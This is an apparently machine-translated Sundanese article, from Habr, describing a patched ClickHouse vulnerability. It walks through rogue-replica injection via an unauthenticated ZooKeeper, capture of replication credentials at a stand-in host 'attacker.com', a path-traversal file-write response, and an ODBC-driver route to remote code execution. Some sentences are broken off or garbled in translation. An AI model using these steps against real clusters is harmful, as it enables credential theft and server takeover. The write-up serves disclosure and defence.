Artikel ieu bakal ngabejaan carita kerentanan pisan husus dina protokol réplikasi ClickHouse, sarta ogé bakal némbongkeun kumaha beungeut serangan bisa dimekarkeun.
ClickHouse mangrupikeun pangkalan data pikeun nyimpen data anu ageung, paling sering nganggo langkung ti hiji réplika. Clustering sareng réplikasi di ClickHouse diwangun di luhur
Pamasangan ZK standar henteu meryogikeun auténtikasi, janten rébuan server ZK anu dianggo pikeun ngonpigurasikeun Kafka, Hadoop, ClickHouse sayogi umum.
Pikeun ngirangan permukaan serangan anjeun, anjeun kedah salawasna ngonpigurasikeun auténtikasi sareng otorisasi nalika masang ZooKeeper
Aya tangtu sababaraha 0day dumasar Java deserializations, tapi bayangkeun yén hiji lawan bisa maca jeung nulis ka ZooKeeper, dipaké pikeun ClickHouse réplikasi.
Nalika ngonpigurasi dina modeu klaster, ClickHouse ngarojong queries disebarkeun /clickhouse/task_queue/ddl
.
Contona, anjeun nyieun titik /clickhouse/task_queue/ddl/query-0001
kalawan eusi:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
sarta sanggeus éta, tabel test bakal dihapus dina server kluster host1 na host2. DDL ogé ngarojong ngajalankeun CREATE / ALTER / DROP queries.
Sora pikasieuneun? Tapi dimana panyerang tiasa nampi alamat server?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
titik bakal dijieun kolom и metadata.
Eusi /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Naha mungkin pikeun ngahijikeun data tina klaster ieu? Leres, upami port réplikasi (TCP/9009
) dina server chXX-address
firewall moal ditutup sarta auténtikasi pikeun réplikasi moal ngonpigurasi. Kumaha cara ngalangkungan auténtikasi?
Panyerang tiasa nyiptakeun réplika énggal dina ZK ku ngan saukur nyalin eusina /clickhouse/tables/01-01/foobar/replicas/chXX
jeung ngarobah harti host
.
Eusi /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Teras anjeun kedah nyarioskeun ka réplika anu sanés yén aya blok data énggal dina server panyerang anu kedah dicandak - simpul didamel dina ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX monotonically tumuwuh counter, nu kudu leuwih gede ti nu panungtungan dina log acara):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
di mana source_replica - nami réplika panyerang anu diciptakeun dina léngkah sateuacana, block_id - idéntifikasi blok data, meunangkeun - paréntah "meunang blok" (jeung
Salajengna, unggal réplika maca kajadian anyar dina log sareng angkat ka server anu dikontrol ku panyerang pikeun nampi blok data (protokol réplikasi binér, dijalankeun di luhur HTTP). Server attacker.com
bakal nampi pamundut:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
dimana XXX nyaéta data auténtikasi pikeun réplikasi. Dina sababaraha kasus, ieu bisa jadi hiji akun kalawan aksés ka database via protokol ClickHouse utama jeung protokol HTTP. Salaku geus katempo, beungeut serangan jadi kritis badag sabab ZooKeeper, dipaké pikeun réplikasi, ditinggalkeun tanpa auténtikasi ngonpigurasi.
Hayu urang nempo fungsi pikeun meunangkeun blok data ti replica a, eta ditulis kalawan kapercayaan pinuh yén sakabéh réplika aya dina kontrol ditangtoskeun jeung aya kapercayaan antara aranjeunna.
kode processing réplikasi
Fungsina maca daptar file, teras nami, ukuran, eusi, teras nyerat kana sistem file. Perlu ngajelaskeun sacara misah kumaha data disimpen dina sistem file.
Aya sababaraha subdirectories di /var/lib/clickhouse
(diréktori gudang standar tina file konfigurasi):
umbul - diréktori pikeun ngarékam
tutmp - diréktori pikeun nyimpen file samentara;
pamaké_files - operasi sareng file dina pamundut dugi ka diréktori ieu (INTO OUTFILE sareng anu sanésna);
metadata - file sql sareng déskripsi méja;
preprocessed_configs - olahan file konfigurasi turunan tina /etc/clickhouse-server
;
data - diréktori saleresna sareng datana sorangan, dina hal ieu pikeun unggal pangkalan data hiji subdirektori anu misah didamel di dieu (contona /var/lib/clickhouse/data/default
).
Pikeun unggal tabel, subdirectory dijieun dina diréktori database. Unggal kolom mangrupakeun file misah gumantung kana
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Réplika ngaharepkeun nampi file anu nami sami nalika ngolah blok data sareng henteu nga-validasi ku cara naon waé.
Pamaca anu ati-ati sigana parantos nguping ngeunaan panyambungan file_name anu teu aman dina hiji fungsi WriteBufferFromFile
. Leres, ieu ngamungkinkeun panyerang nyerat eusi sawenang-wenang kana file naon waé dina FS kalayan hak pangguna clickhouse
. Jang ngalampahkeun ieu, réplika anu dikadalikeun ku panyerang kedah ngabalikeun réspon di handap ieu kana pamundut (garis putus parantos ditambah pikeun ngagampangkeun pamahaman):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
sarta sanggeus concatenation ../../../../../../../../../tmp/pwned
file bakal ditulis /tmp/pwned kalawan eusi hellofromzookeeper.
Aya sababaraha pilihan pikeun ngarobah kamampuan nyerat file kana palaksanaan kode jauh (RCE).
Kamus éksternal dina RCE
Dina vérsi anu langkung lami, diréktori sareng setélan ClickHouse disimpen kalayan hak pangguna clickhouse standar. File Setélan mangrupikeun file XML anu dibaca ku jasa nalika ngamimitian teras di-cache /var/lib/clickhouse/preprocessed_configs
. Nalika parobahan lumangsung, aranjeunna dibaca deui. Upami Anjeun gaduh aksés ka /etc/clickhouse-server
panyerang bisa nyieun sorangan root
.
ODBC ka RCE
Nalika masang pakét, pangguna didamel clickhouse
, tapi diréktori imahna teu dijieun /nonexistent
. Nanging, nalika nganggo kamus éksternal, atanapi kusabab alesan sanés, pangurus nyiptakeun diréktori /nonexistent
sarta masihan pamaké clickhouse
aksés nulis kana éta (SSZB! kira-kira. penerjemah).
ClickHouse ngarojong odbc-bridge
, jadi teu mungkin deui pikeun nangtukeun jalur supir ti pamundut nu. Tapi tiasa panyerang nyerat kana diréktori bumi nganggo kerentanan anu dijelaskeun di luhur?
Hayu urang nyieun file ~/.odbc.ini
kalayan eusi sapertos kieu:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
lajeng dina ngamimitian SELECT * FROM odbc('DSN=lalala', 'test', 'test');
perpustakaan bakal dimuat test.so
sareng nampi RCE (hatur nuhun
Ieu sareng kerentanan sanésna parantos dibenerkeun dina versi ClickHouse 19.14.3. Jaga ClickHouse sareng ZooKeepers anjeun!
sumber: www.habr.com